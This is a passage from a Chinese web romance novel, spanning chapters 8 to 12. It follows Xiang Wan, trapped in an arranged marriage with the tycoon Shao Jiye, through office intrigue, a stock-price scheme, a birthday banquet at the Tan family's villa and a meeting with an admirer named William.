锦绣是个聪明的,向晚不用再多说什么,她已经想明白了所有前因后果。
向晚去了厨房,给自己倒了杯水喝,锦绣也追了过来:“太太,您说过迟早要走,是不是就快了?”
“是。”
“可是先生那么爱白荷小姐,就这么放下了?这才几年啊?时间也太短了吧?”
向晚喝水的手一顿。
三年。
秦以枫那么爱她,现在不也重新开始新生活了么。
“成年人了,总要现实一点。正宫娘娘家里生意做的很大,又是独生女,跟她结婚,邵家的势力会再次上升好几个台阶。”
锦绣有点同情她:“三年了,没有一点感情也不可能,太太,你要是难受,就抱着我哭一会儿。”
向晚笑了,捏了捏她胖嘟嘟的小脸儿:“我可没**受,正宫娘娘来的正是时候,你去帮我打个电话。”
“给谁?”
“新闻记者。”
第二天一早,浅枫苑门口早已经被围的水泄不通。
记者来了不少,还有很多是自媒体人,都举着手机对准了别墅大门口,等着拍现场画面。
“出来了出来了!”
所有的手机镜头里,向晚带着墨镜,低着头快速走过,在小区保安的护卫下穿过层层记者。
记者们一个个的视力都是5.0,看出了她藏在墨镜后面哭的红肿的一双眼睛。
闪光灯不停亮起,向晚快速开车离开。
到了公司,从进门打卡开始,所有人都对她投来了同情的目光。
前天刚被温甜甜泼了咖啡,公司里八卦像是一阵风,很快就吹到了公司的每一个角落。
连保洁阿姨都知道了,聚在一起嘀嘀咕咕。
今天早上的新闻更是大瓜一个,邵总居然把谭家小孙女带回家过夜了!还是当着邵太太的面!
虽然公司里的人都知道,邵太太不受邵总待见,是邵老太太强行塞给邵总的妻子。
邵总彩旗飘飘,邵太太窝窝囊囊。
但至少有邵老太太镇着,邵总玩归玩,总不至于离婚。
可谭家不是一般人家。
倘若能跟谭家联姻,想必邵老太太不会反对的。
眼前这个邵太太的下场,恐怕要步温甜甜的后尘。
向晚进了办公室,钟灵就跟了过来,别别扭扭的,欲言又止。
向晚看的好笑,“别用看流浪狗的眼神看着我行吗?”
钟灵跟了她也有一年多,向晚工作能力优秀,为人也不错,钟
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灵还挺喜欢她这个上司的。
“姐,你说你这个肚子,怎么就这么不争气呢。”
向晚明白她的意思。
跟锦绣差不多。
是觉得她如果怀孕了,至少能从邵家捞一票。
现在可好了,孤零零一个人,邵寂野把她扫地出门都没有任何顾忌。
向晚从包里掏出一个小镜子,用化妆水沾了纸巾,一点一点把脸上的粉都擦掉。
今天早上出门的时候,她特地用白了一个色号的粉底涂了脸和嘴唇,整个人看上去苍白虚弱。
再加上眼周用红色的眼影扫了一圈,看上去真的像是哭了一夜憔悴的样子。
她一边擦,一边对钟灵说道:“钟灵,帮我看一下今天的股票大盘。”
“好,看哪一支?”
“邵氏,还有天隆集团。”
钟灵在电脑上操作了一下,微微有些惊讶:“邵氏涨了不少!一片红!”
这是肯定的。
邵氏能跟谭家合作,未来可以说是不可限量,股票不涨才怪。
“天隆呢?”
“……绿的人发慌。”
“股价多少?”
“26块。”
向晚觉得这个价格差不多了,快速给秦叔发了个消息:【速买】。
秦叔没回。
向晚觉得有些意外,自从两人合作以来,秦叔一般都回的很快。
她等了一上午,依旧没有消息。
快要收盘的时候,向晚直接打了个电话过去。
这次倒是很快被接了起来。
向晚快速问道:“秦叔,你在忙吗?”
“……”
“秦叔?”
“我爸手机坏了,刚刚把卡插在我的备用机上。”
是秦以枫。
三年了,自从她跟邵寂野结婚之后,两个人就再也没有联系过了。
再次听到他清澈温柔的声音,向晚的心像是要跳出胸腔。
“这……这样啊,”向晚的声音有些颤抖:“那我等会儿再给他打,我先挂了……”
“等一下!晚晚,我看到早上的新闻了。”
向晚顿住。
“离开他,跟我一起去德国吧。向伯伯那么疼你,如果他还在世的话,宁可公司没了,也不希望你在邵家受委屈。”
“……”
“晚晚?你在听吗?怎么不说话?”
“我……”
向晚刚想开口,面前的镜子“啪”地一声被合上了。
邵寂野不知道什么时候来了,单手撑在办公室边上,欺身而下,唇边噙着一抹危险地笑意:“邵太太这么早来公司,跟谁打电话呢?”
第八章 聪明人不适合谈恋爱
他怎么这么快就到了?
明明早上她出小区的时候,主卧里面还一片安静。
向晚想着,估计是主卧里面两个人还没睡醒。
可是她前脚刚到公司,邵寂野怎么这么快也来了?
邵寂野噙着一抹似笑非笑,忽而伸手,轻轻帮她整理了一下额边的碎发,动作温柔至极:“以后早上别来这么早,多睡一会儿也没什么。”
余光里,向晚看到旁边的钟灵已经把嘴巴张成了一个O型。
这三年来,即便是刚结婚那会儿,他也是床上热情似火,白天总是淡淡的。
今天这是怎么了?
向晚看着他柔柔望着自己的目光,起了一身鸡皮疙瘩。
“邵总……您开车来的吗?”
“我御剑飞行来的。”
向晚干笑了一下:“看来您今天心情不错,会开玩笑。”
“是啊,一大早电话都快打爆了。我一直当邵太太你是看破红尘了,像是入了定的老僧一样无悲无喜,没想到今早还能看到你为了我彻夜未眠,那么苍白委屈的样子登上头版头条,真是这让我这个当丈夫的受宠若惊。”
向晚心里打鼓。
邵寂野这一番话,说的她心头有些慌乱。
今早的大阵仗确实是她计划的一环,为的就是拉低天隆集团股价,趁机让秦叔买入。
在这方面,她确实算是“利用”了他。
可他昨晚跟谭璇一同出入酒店都被拍到了,她也只是顺势而为而已,不能把责任全都甩到她身上吧?
向晚问道:“邵总这么早找我,有事吗?”
邵寂野闻言,正色了一些:“确实有事找你。下午有个酒会,你陪我去。”
酒会?
“是什么类型的酒会?”
邵寂野挑眉:“你有安排?”
“不是,我的意思是,之前我没去过这种场合,怕哪里做的不体面了拖你后腿。”
邵寂野勾了勾唇角:“邵太太是担心自己做的不好,还是在责怪我之前出席酒会都没带你?”
向晚干笑了一下:“不是,我没有那个意思。”
“那就好好准备一下,谁都有第一次。而且——”他忽然贴近她,声音不大也不小,“邵太太的第一次表现的不错,我很满意。”
刺啦——
手机里传来巨大的刹车声。
紧接着,是车子撞上什么东西,发出了沉闷的碰撞声响。
刚刚他突然出现,向晚忘记挂掉电话。
刚刚的声响不小,向晚有些担心秦以枫,但是邵寂野在,她又不能立刻询问,微微蹙眉看着屏幕,有些焦急。
邵寂野目光下移,扫了一眼她的手机屏幕:“秦叔?就是你爸原来的那个老下属?”
向晚顿了一下,轻轻点头:“嗯,就是问候一下。”
向晚飞速挂断了电话。
手有些抖,手机哐啷一声掉在桌面上,她赶紧伸手按住。
邵寂野的目光在她的脸上逡巡了两圈,目光中带着探究和精明:“长辈问候而已,你怕什么。”
“没有怕,就是手滑了一下。”她说:“刚刚洗了手,手上有水。”
邵寂野还是那副玩世不恭地样子,但并没有深究下去:“一会儿我让楚卫把礼服和鞋子给你送过来,中午等我电话。”
“……好的。”
邵寂野离开的时候,看到了旁边眼珠子都快瞪出来了的钟灵。
他忽而轻笑了一声:“别误会,我说是你们向经理第一次婚礼的时候就表现的不错,不是‘那个’第一次。”
钟灵压根不敢说话,疯狂点头。
邵寂野却像是恶作剧得逞,笑容中颇有些心满意足的意思。
他回头,对向远说:“今天气温低,别用冷水洗脸。”
说完,他缓缓离开了。
过了好一会儿,向晚才松了一口气,颓然地瘫在了椅子上。
钟灵立刻冲了过来,八卦兮兮地睁大了眼睛:“向晚姐,邵总这是转性了?”
向晚闭上眼睛,揉了揉自己的太阳穴。
青筋突突跳。
她也拿不准邵寂野葫芦里到底卖的是什么药。
明明昨晚还跟谭璇打得火热,怎么今天又让自己陪他去酒会?
不怕正宫娘娘吃醋?
还是说,他已经洞悉了她利用股价涨跌搞钱的操作,特意要破坏她这次的计划?
总不能是他找人调查过她,知道了她和秦以枫的过往,故意说那些话气他的吧?
不,应该不是。
她的存在,象征的是老太太对他的管控和枷锁,在他眼里,自己算是老太太放在他身边的监控和间谍。
邵寂野巴不得把自己这个挡路石踢开。
他根本
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不会在意她的情史。
倘若他知道了,怕是巴不得要把她送上秦以枫的床,最好再拍上一堆不可描述的照片,拿回去打老太太的脸,然后再名正言顺地跟她离婚。
向晚突然有点羡慕郭碧婷。
同样都是貌合神离表面夫妻,人家的老公可好对付太多了。
不像她这个,精明强干一肚子坏水儿,心眼子比蜂窝都多,想在他眼皮子底下做点什么事,难如上青天。
钟灵满眼都闪着吃到瓜了的求知欲:“是吧是吧,邵总是浪子回头了吧?!我就说么,邵总这种高端人士,怎么会看上温甜甜那个脑袋空空的女人,我一早就觉得,像邵总这种精英中的精英,看上的也一定是向晚姐你这种又美又强的!”
向晚只觉得头疼:“聪明人不适合谈恋爱。”
“什么意思,向晚姐你是觉得邵总就喜欢笨蛋美女?”
“不知道。”
她没见过活着的白荷。
邵老太太倒是提过几句,说白荷是个心机女,处心积虑地想要嫁进邵家,要不是有她在,估计真就成功了。
可向晚觉得,如果白荷真是心机女,邵寂野怕是也不会对她那么如痴如狂。
他不傻。
能在H市这种亚洲商业中心里搅动风云,三十岁就带领着邵氏一路高歌猛进急速崛起的人,怎么可能被女人那点儿心计骗的晕头转向?
她倒是觉得,白荷应该确实就是个单纯可爱的女孩子,正是这份纯真,才让邵寂野这种从小就在尔虞我诈环境下长大的人格外珍惜。
只可惜,三年前的他还羽翼未丰。
没能护得住自己心爱的女人。
一旁的钟灵双手交握,一脸的陶醉:“哈利路亚,我磕了这么久的冷门CP,终于要成真了吗?信女愿一个月不喝奶茶,跪求我的CP发糖!”
向晚直接说道:“糖是发不了了,你赶紧去把考勤表发一下吧。”
“好嘞好嘞,我这就去!”
钟灵干劲十足的去忙活了。
等她出门,向晚凭着记忆,按了一串数字下去,拨出。
嘟——
响了一声。
她又急忙挂断。
不管邵寂野知不知道秦以枫的存在,她都不想把秦以枫再牵扯进来。
他已经要有新生活了,不应该再被她拉进泥沼里。
第九章 谁让你化妆的?
向晚放心不下,刷了几遍新闻。
但是都没有报道发生重大车祸的消息。
应该不算太严重。
向晚微微放下心来。
对于秦以枫,她有爱,有愧,有痛,是她自己选择了在最热恋的时候背弃了他。
现在,也只有相忘于江湖,是他们两个最好的结果了。
她摸了摸脖子上的红绳,红绳的尽头是一尊小小的玉佛。
那是秦以枫在H市清潭寺里磕了足足九十九个头,才为她求来的平安佛。
H市有传闻,清潭寺求姻缘最灵。
月老殿里常年被踏破门槛,想求一缕红线的人趋之若鹜。
只有他,在人庭冷落的平安佛前长跪不起。
他说:“小晚,不管你答不答应跟我在一起,我都希望你这一生平安健康。”
平安健康。
朴实无华甚至有些老土守旧的祝福。
可向晚觉得,那比什么甜言蜜语海誓山盟都珍贵。
后来他们在一起了,度过了一段无比甜蜜的时光。
她喜欢画画,他就帮她背着画板和颜料陪她漫山遍野的跑;
她嗓子不好,他每次出门都会背着一个粉色的保温瓶,时不时就提醒她多喝水;
她爱漂亮,他硬是把所有牌子的口红色号都认了个七七八八,比一般的美妆博主都内行。
秦以枫真的是付出了所有去爱她,满心满眼都是她。
想起他的样子,向晚低下头,微微勾了勾唇角。
这辈子有缘无分,她只希望他之后也能遇到一个满心满眼都是他的姑娘,一辈子平安健康。
向晚双手合十,默默祈祷。
希望秦以枫不要受伤太严重,能如期前往德国。
过了一会儿,楚卫来了。
“太太,这是邵总让我给您送来的东西。”
楚卫不是一个人来的,还带了三个,每人手上都捧着一个很大的盒子,轻手轻脚地放在向晚桌上。
他名义上是邵寂野的助理,但基本算是邵寂野的绝对心腹,也会参与公司事务的决策,所以向晚一直对他态度都不错。
向晚笑着说道:“麻烦楚助理专门跑一趟了。”
“不会,您是邵总的太太,那就也是我的领导。而且这些是邵总叮嘱我一定要亲自送过来的,我也是按照吩咐办事。”
说着,他又递过来一个小盒子:“还有这个,邵总让我提醒您,记得戴上。”
向晚接过来打开,才发现居然是婚戒。
她不太习惯束缚,更不习惯手上戴东西,而且邵寂野也从来没戴过,所以她象征性地戴了几天,也就取了下来束之高阁了。
邵寂野今早来公司,还特意把这个带过来了?
向晚眼神微微一闪,问道:“楚助理,今晚的酒会都有什么人去啊?”
楚卫思索了一下,说:“是谭家办的寿宴,老谭总今天六十大寿,因为老太太的关系,邵家和谭家一直走动很多,所以邵总肯定是要去祝寿的。”
“那……我去合适吗?”
楚卫依旧一张冷酷到极致的扑克脸:“您是邵总的太太,自然是合适的。”
向晚无语。
楚卫嘴巴紧,怕是问不出什么了。
邵寂野一边跟谭璇传绯闻,一边又要带她去谭家,鬼知道他到底要干什么。
兵来将挡水来土掩吧。
“好,我知道了,我会戴上的。”
楚卫颔首:“太太,那我先走了。”
中午下班时间刚到,向晚就收到了邵寂野的微信:【下楼。】
她抱着礼服刚走出公司大门,就看到邵寂野的那辆黑色卡宴停在路边。
他正靠在车边抽烟。
见她过来,他上下打量了她一下,蹙眉:“怎么没换礼服?”
向晚说:“公司里人来人往的,我穿着礼服走出来,会被人当做是在炫耀。”
邵寂野笑了:“你可是邵太太,炫耀一下谁敢说什么?”
向晚干笑了两声。
公司里所有人都知道邵太太过得窝囊。
邵总花边新闻满天飞,她头上的绿帽子已经够开个批发市场了。
这么大张旗鼓招摇过市,过两天他和谭璇如果官宣了,她就更成了小丑。
“礼服太大了,不方便走路,一会儿到了地方我找个地方换就行。”
邵寂野定定看了她一会儿,没说什么,掐灭了烟上了车。
下午两点,两人准时到达了谭家别墅。
已经有一些人到了,正在分
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别寒暄聊天。
邵寂野的车缓缓停稳,他轻声说道:“今天谭家估计没什么房间给你换衣服,你就在车里换。”
向晚也没指望他会帮她去跟谭家谈。
在车里换,也是她一开始就想好的。
于是向晚点了头:“好。”
邵寂野下了车,刚走了没两步,立马有一堆人迎了过来,把他团团围住。
他现在的地位和权势,足以让一群人趋之若鹜。
所有人的注意力都被他吸引过去,正好没什么人注意这边,向晚快速地脱掉了身上的制服。
只是车内的空间到底是有限,穿礼服的时候还是有些伸展不开。
而且更大的问题是——
邵寂野给她准备的礼服,是抹胸的款式。
可她今天穿的,是有肩带的内衣。
向晚有些犯难。
不穿内衣肯定会露出轮廓显得不雅,穿内衣的话整个穿搭又会显得不伦不类。
她想了想,从包里找出来两个东西。
十分钟,化了一个能配合礼服风格的妆,裙子是黑色的,所以她的妆也微浓了一些,小烟熏妆搭配浓烈的正红色口红。
然后把一贯盘起来的头发散了下来,用手整理了一下,对着镜子确认无误,她推开车门下了车。
刚站稳,就听到旁边不远处有人倒吸了一口气。
她看过去,发现是一个有些混血轮廓地年轻男人。
男人直勾勾地盯着她,好半天都没回过神。
他后面的侍应生也没预料到他会突然停下步子,猝不及防撞在了他背上。
托盘里的几杯红酒洒了他一身。
好在,他今天穿的是黑色的西装,所以看不太出来。
向晚礼貌性地对他笑着点了点头,算是打招呼。
可男人像是如梦初醒,快步走了过来:“你叫什么名字?我们之前是不是在哪里见过?”
说的是英文。
向晚也用英文回答道:“应该没有,我是第一次来这里……”
“向晚——”
不远处,正在被很多人围在中间的邵寂野不知何时看到了这边。
他推开人群快步走了过来,看到她这身装扮后,眉心拧得死紧,“谁让你化妆的?”
第十章 邵寂野可不是什么好男人
向晚懵了。
穿这么隆重的礼服,难道素颜吗?
周围人的视线也纷纷被吸引了过来。
对于长相,向晚一直是有自信的,她本身就脸小眼睛大,稍微一上妆就非常明媚靓丽。
但白荷从来不化妆。
邵老太太千叮咛万嘱咐,邵寂野不喜欢会化妆的女人,所以也不允许她化妆。
算起来,这算是三年前他们的婚礼之后,向晚第一次化妆。
尤其,今天为了配合这条轻熟性感的裙子,她是特意往妩媚明艳方向化的。
向晚突然懂了,她今天只想着妆容和裙子要搭配了,居然忘记了,她本身就是白荷的替代品。
现在的她,跟白荷那副清纯小白花的样子可是大相径庭。
“哎呀,这位是邵总您的新女友么?这次的可跟以前那些明显不一样啊,是明星吗?”
“确实不一样,邵总不是一直都喜欢清纯的么,怎么这次换了口味,喜欢性感的了?”
向晚用余光看了看身旁的邵寂野。
他的脸色越来越沉,随着这些人你一言我一语的点评,最后黑如锅底。
很显然,她的自作聪明触了他的逆鳞。
正好旁边有个人认出了她:“……向晚?”
向晚循声望去,也是微微惊讶:“艺珍?”
徐艺珍是她在米兰留学时候认识的朋友,两人都是华人,又都来自H市,所以很聊得来。
只是徐家从政,按理说应该避嫌,怎么她也来参加老谭总的寿宴了?
徐艺珍上来挽住了她的手:“我们去那边聊。”
向晚下意识地看向邵寂野。
可他似乎根本懒得理她,正在跟其他人攀谈。
徐艺珍拉着向晚走到了旁边,小声问道:“我就去加州旅个行,回到米兰就找不到你人呢,我还去你们学校找过你呢,结果她们说你退学了?”
当初的事情,说来话长。
向晚简单说了一下当**,徐艺珍缓缓点了头:“宝儿,你受苦了。”
三年了,除了秦叔之外,向晚几乎没有一个可以倾诉的对象。
徐艺珍自然而然的一句受苦,让向晚眼眶有些微微发酸。
“我刚刚看着,你现在是跟邵家那个在谈恋爱是吗?宝儿,你听我一句,他可不是个好男人。冷得很,又特别傲,前些年我一个小姐妹为了他要死要活的,差点割腕。”
邵寂野风流债不少。
向晚自己就经手了不少。
不过她不太确定,那些女孩子里面有没有徐艺珍的好姐妹。
徐艺珍握着她的手,苦口婆心地劝道:“反正你听我一句劝,千万别对他有什么想法,否则后果很惨的。”
“嗯,我知道。”
“对了,给你介绍个人。”
徐艺珍突然眉飞色舞起来,兴奋地冲不远处招了招手:“威廉!这里!”
是刚刚那个混血帅哥。
威廉快步跑了过来,脸上挂着大大的笑意:“你好,又见面了。”
徐艺珍给双方都介绍了一下:“宝儿,这个是我表弟,威廉。威廉,这位就是你一直求我去问的那个女孩,她叫向晚。”
威廉再次看向她的时候,眼睛里亮晶晶的:“原来你叫向晚。”
向晚努力在脑内回想了一圈,发现对这个混血帅哥毫无印象:“抱歉,我确实不记得了。”
徐艺珍噗嗤一声笑了:“不是你不记得,是你们压根就没见过!也是三年前的事了,这小子在米兰见过你一次,就一直在找你。本来都没抱希望了,没想到踏破铁鞋无觅处,竟然今天在这里偶遇了!”
威廉的眼神像是黏在了她身上,但是没有半分亵渎的意思,有的只有热切和惊喜:“三年前你的那幅《枫》获奖的时候,我就在台下。那天你也穿着一条黑色的裙子……很美。”
向晚想起来了。
那是她的第一幅人物作品。
画的是秦以枫,男人精壮的上半身背影。
他是那种精瘦的薄肌,平时穿上衣服只觉得干练矫健,可只有向晚知道,他的肌肉线条是多么流畅漂亮。
或许是因为画那幅画的时候带着爱意,所以成品格外惊艳,以黑马之姿力压许多小有名气的画家,获得了那次比赛的头奖。
她的导师是个西班牙的大胡子老头,兴奋地胡子一抖一抖的,“向晚,你是我最出色的学生,没有之一。”
老爷子还一度想要推荐她去参加国际赛事,可惜啊,三年前的变故把一切都打断。
她的手本应该拿着画笔和调色盘,现在却不得不想尽办法去赚钱,沾染了一手的铜臭味。
徐艺珍冲她挤挤眼睛:“别跟邵寂野了,那家伙贼精贼精的,我爸都说他深不可测,你从他那里讨不到什么便宜的,不如看看威廉?他外祖家里可是有酒庄的
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!”
威廉却有些不太高兴:“别这样,向晚是艺术家,你这样说是玷污了她。”
徐艺珍捂着嘴偷笑:“好好好,你们艺术家之间一定有很多共同话题,那你们聊,我先过去了。”
徐艺珍匆匆离开了。
向晚觉得很不自在,也想找借口离开,可威廉率先开了口:“向晚,你不用害怕我,我没有想对你做什么,只是今天突然见到你有些激动。我只是想跟你做个朋友,仅此而已。”
威廉脸上带着诚恳,向晚也不好拒绝,只是点点头:“我和艺珍是朋友,以后你也是。”
威廉开心起来,神情也微微放松:“那……我能得到你的联系方式吗?”
向晚摇头:“不好意思,不太方便。”
“为什么?”
向晚伸出右手,无名指上的婚戒闪闪发光。
威廉眼神里有些失落,但也并没有特别意外,他淡淡笑了一下,说:“我其实有心理准备,就算找到了你,你应该也已经名花有主了。”
“是的,我已经结婚了。”
“是你画上的那个男人,对吧?”
向晚没说话。
秦以枫和邵寂野,事情太复杂,更何况她也没打算跟威廉有什么交集,所以更没必要解释。
威廉递给她一张名片,轻声说道:“如果你哪天分手了,记得先联系我。”
向晚原本没怎么在意。
可是黑色烫金的名片上,写着一行小字:融通银行大中华区总监。
融通银行……
向晚突然眼睛一亮。
这些年她的钱来源有限,邵老太太不是好糊弄的,想弄钱也不是不行,但毕竟顾虑很多,有翻车的风险。
钱的数量有限,能收购的股份就有限。
现在谭璇跟邵寂野的关系扑朔迷离,万一哪天她真的失去了利用价值,被祖孙两个联手扫地出门,恐怕以后想要搞钱就再也没有门路了。
向晚其实一直有个想法。
既然谭璇和邵寂野的关系可以一定程度上影响邵氏的股价,只要她有一笔现金流,就可以利用这一点,从股市里赚钱。
再用赚来的钱去收购天隆集团的股份!
想到这里,向晚顿时感觉有些兴奋,浑身的血液都开始躁动了起来。
她笑着抬起头,问道:“威廉,名片我收下了,如果后面有需要帮忙的地方,我可以找你吗?”
第十一章 只有自己爱惜自己
威廉绅士地点头:“当然,愿意为你效劳。”
向晚有一搭没一搭地跟威廉闲聊了一会儿,心里头盘算的都是该怎么操作股票才能获得最大利润。
渐渐地,她心里已经有了主意。
老谭总的面子还是很大的,今天的寿宴来了许多人。
有些向晚认识,从前跟爸爸打过交道,她有印象。
还有些向晚不太认识,她出国太早,近些年的新贵她还认不全。
不过这些人都认识邵寂野。
明明是老谭总的寿宴,邵寂野仿佛才是今天的主角,被一波又一波的人围住,众星拱月。
不过老谭总也不生气,反而一直笑眯眯的。
直到有人问起:“谭总,都说岳父看女婿,是恨不得打断他的腿。您看邵总的目光可够慈祥的。”
老谭总哈哈大笑:“什么女婿不女婿的,八字还没一撇呢。”
“新闻都发了,邵总和您家的小女儿同进同出的,这还不是好事将近?”
老谭总的神色微微定了定,说:“该走的流程还是要走的。”
“您是说邵总现在娶的那个?”
“毕竟是领过结婚证的,跟外面那些随时可以打发走的女人不一样。”
那人说:“这个您可以放心,谁不知道邵总跟她只是硬凑作对而已?只要邵总想打发,就没有打发不了的。”
老谭总抿了一口茶,目光落在不远处的那个纤细的身影上。
从前他也见过这个邵太太两三次。
每次都穿着古板的制服,头发也盘成了老气横秋的样子,看着没什么出挑的。
可今天一打扮起来,倒是颇有几分姿色。
都是男人,他是最了解男人心思的。
对于男人来说,事业固然是第一,漂亮的女人也是装点人生必不可少的装饰品。
留着这么一个活色生香的女人天天在邵寂野身边转悠,难保他哪天想尝尝鲜。
茶杯被不轻不重地放下,发出清脆的声响。
老谭总说:“希望如此吧。”
……
向晚到底没有跟威廉聊太久。
她名义上还是邵太太,该保持的态度必须还得保持,不然万一传出什么闲言碎语,邵老太太第一个不会放过她。
而且现阶段她也不能完全确定这个威廉到底可不可靠。
邵寂野这根浮木虽然硌手了点,但她暂时还得抱着,不能松手。
倘若威廉那边行得通的话,倒也算是个退路。
她看了一眼不远处,邵寂野依旧被簇拥着,只不过现在不是他一个人被簇拥着,他的身边还有一个人——谭璇。
谭璇穿着一身粉色的蓬蓬裙,还带着假发,看上去很像是洛丽塔的cos服。
不清楚她知道多少白荷的情况,因为她今天没化妆。
素着一张脸,容貌一般。
不过气质倒的确是清纯型的,跟白荷一样。
她手里握着一支跟邵寂野同款的高脚杯,里面同样是琥珀色的液体。
有人似乎跟她说了什么,谭璇小脸儿一红,自然而然的把脸埋在了邵寂野的臂弯里。
邵寂野也没躲开,任她抱着一条手臂,轻笑着跟周围其他人说了句什么,便护着谭璇离开了。
周围的人不敢阻拦,纷纷让开一条路。
直到两人消失在视野里,有人才终于注意到了,“邵太太”此时此刻也正在看向这边。
有好事者哼笑着交头接耳:“你说现在的女人真是想得开啊,被邵总当众这么冷落也无所谓。”
“嗤,能当上邵太太她已经祖坟冒青烟了!邵总是什么人,她敢说一个不字?”
“也是。也就是邵总现在年纪上来了,沉稳了许多。要是放在三年前,她还能安安稳稳地站在这?”
“窝囊也有窝囊的好,反正也就是个吉祥物了。等谭小姐答应邵总的求婚的那一天,她的下场还不知道有多惨。”
“啧啧,不过长得是真美啊。这胸,这腰,这屁股……邵总不要的话,我能不能捡个漏?”
“我劝你别,邵总再怎么看不上她,到底也是个前妻。”
“我也没说要把她娶回家啊,玩玩而已,睡几次总行吧?”
向晚听得断断续续,但是从几个人猥琐的狞笑和暧昧的眼神中也大概能猜的出来他们在说什么。
向晚突然觉得邵寂野说的挺对。
她今天就不该化妆。
被人嘲讽什么的她早就习惯了,但是被男人这样打量,她觉得犯恶心。
她背过身去,想隔绝他们的视线。
可不知道怎么的,那股恶心感不但没有消失,却越来越严重。
她问了一个侍
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应生,跌跌撞撞地找到了洗手间,呜哇一声吐了个昏天黑地。
许久,才渐渐恢复了一些神志。
只是胃里还一抽一抽的难受,她没忍住,吐的时候眼泪不受控制的流。
叩叩——
门被敲响了。
“开门。”
是邵寂野的声音。
他的声音有些急躁,听起来心情不太好。
向晚扶着墙站了起来,却没有开门:“我没事,你去忙正事吧。”
“我让你开门。”
“……我真的没事。”
“向晚,我让你开门你是听不懂话吗?”
向晚叹了口气,认命地开了锁。
邵寂野一把拍开了门,扫了她一眼,眉心紧紧拧着,拉着她的手就往外走。
向晚只觉得那股恶心劲又上来了,第一次拒绝了他,强行挣脱后重新冲进了洗手间,又狠狠吐了一轮。
只是她早上根本没吃什么东西,吐也吐不出什么来,只是一个劲儿的干呕。
忽而,她听到门口传来一声讥诮的笑声:“这个办法确实还不错。”
向晚一时没反应过来。
一回头,看到邵寂野抱着手臂靠在门边,眼中透着一股洞悉一切的鄙夷:“想母凭子贵?”
向晚一愣,这才反应过来他的意思。
原来,他以为自己呕吐,是因为想当众作秀,让大家误以为她怀了孕,以此为要挟问他要更多的筹码?
向晚苍白着一张脸,用冷水洗了一把脸,抽出纸巾擦了擦:“邵总放心,我一直都有吃药。”
邵寂野那方面需求大,有时候兴致上来了根本来不及做措施。
反正他也不在乎。
要是真怀上了,大不了弄去医院打了,以他邵寂野手眼通天的本事,这并不难。
“邵总,不管你信不信,我从来没有做过这个打算。”
“什么打算?怀上我的孩子?”
“嗯,”向晚说:“虽然吃药和打胎都挺伤身体,但我还是选择伤害小的比较好。”
邵寂野冷笑:“你倒是挺爱惜自己。”
“这个世界上最爱我的人,要么已经**,要么躺在病床上,只有自己爱惜自己。”
邵寂野抬起眼,探究地看向她的眼睛,有些试探和引诱的意味:“如果你真怀了,我奶奶说不定会保下来。”
第十二章 摆设而已
都是邵家的子孙。
邵老太太再疼谭璇,多一个重孙子也没什么。
她母凭子贵,说不定真可以像锦绣和钟灵期盼的那样,靠着孩子要邵家一大笔钱。
然后呢?
邵家的孩子,她肯定是带不走的。
将来谭璇进了门,孩子被迫要在后妈的眼皮子底下长大。
就算谭璇是个善良和蔼的人,但她跟邵寂野终究也会有自己的孩子,那她的孩子呢?
仅仅为了拿邵家一笔钱,付出的代价却是孩子残缺的童年。
她不愿意。
向晚低下头,轻声说:“这个世界已经烂透了,没必要让孩子来受罪。”
邵寂野说:“邵家的孩子,不会受罪。”
“那也只是物质层面,精神层面呢?爹不疼妈不在的,不见得过得多好。”
邵寂野嗤笑:“听你这意思,还挺瞧不上邵家?”
向晚惊觉自己说了太多心里话,连忙敛住眉目,轻声说道:“没有,我没这个意思。”
邵寂野深深地看着她,目光深邃。
向晚只觉得他的目光似乎有些烫人,像是一束X光,要透过她的衣服和肉体,看到她心里去。
“为什么化妆?”他问。
向晚说:“只是为了搭配礼服。”
“是嘛,我还以为邵太太有了找好了下家,只等时机成熟,就要跟国外的小情人双宿**。”
国外的小情人?
威廉吗?
他看到了?
可是他刚刚不是一直被人围着吗?
向晚迟疑着说:“我不太明白你的意思。”
邵寂野依旧冷笑:“你是真不明白还是装不明白?”
若是平常,向晚肯定会细细咀嚼一下他的意思。
然后在投其所好的说些好听的,她虽然是老太太找来的,但毕竟现在邵寂野才是她的顶头上司。
县官不如现管,她跟邵寂野还是不要闹的太僵比较好。
可今天她实在是有些不舒服,分不出精力再去分辨他的弦外之音。
她低头看了看,刚刚实在是忍不住吐了出来,裙子的胸口上沾了些液体。
她轻声说:“那个……我收拾一下,你去忙你的吧,不用管我了。”
邵寂野没动。
不过他的目光显然也注意到了黑色裙子上的污渍。
“你要怎么处理?”
向晚说:“我看了,这套礼服的材质不是蚕丝,可以手洗,我脱下来洗干净再穿就好了。”
“可以。”
邵寂野嘴上说可以,却丝毫没有退出去的意思。
向晚再次提示:“你去忙你的事吧,外面估计有好多人在等你……”
“洗啊,怎么不洗?”
向晚看他这副样子,似乎没有一点儿要走的意思。
邵寂野皱眉催促:“赶紧的,处理好了跟我去给老谭总祝寿。”
向晚不敢再耽搁。
她转过身去,把裙子轻轻褪了下来。
礼服都是贴身穿的,裙子脱下来后,她几乎是毫无遮挡。
即便是背对着他,向晚几乎感觉自己的后背有些发热,似乎是被一片灼热的气息熨帖着。
她知道,邵寂野在看她。
她打开水龙头,把水开到最大。
哗哗的水流声冲淡了一些两人之间诡异的氛围。
“阿野——”
外面传来一个甜美的女声。
“你在这里做什么?谁在里面?”
向晚顿时浑身一震。
她从镜子的反光里,看到了来人。
是谭璇。
她已经换了一身,不再是刚刚的粉色裙子,而是一身白色的旗袍,看起来颇有几分江南水乡小家碧玉的氛围。
同样的是,她依旧没化妆。
向晚记得,曾经邵老太太给她看过一张白荷的照片。
她也是这副打扮,一身白色的旗袍,头发用簪子固定,步摇简单小巧,未施粉黛,整个人格外清丽脱俗。
“换好衣服了?”
邵寂野转过身去,挡住了谭璇的视线:“这身旗袍倒是挺衬你。”
谭璇的脸色微微红了红:“谢谢。是邵奶奶让人给我定制的,没想到还真的挺合适。你……喜欢吗?”
邵寂野没说话。
但他望向谭璇的眼神已经说明了一切。
他一贯是玩世不恭的,即便是笑,也笑不达眼底。
可此时看着谭璇的时候,目光却是从未有过的柔和。
他轻轻“嗯”了一声。
谭璇抿着唇轻笑:“如果你喜欢的话,以
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后我都这样穿,好不好?”
邵寂野说:“你不是喜欢洛丽塔么?”
“可是我愿意为了你穿旗袍。阿野,人的喜好是可以改变的,不是吗?”
邵寂野的眼神闪了闪,看向她的眼睛。
女孩子微红的脸颊和羞赧的神情,已经说明了一切。
谭璇走上来,试探性地挽住了他的手臂,撒娇道:“走吧,我爸刚还在问我你去哪里了,我们一起去见他吧?”
邵寂野点头:“好。”
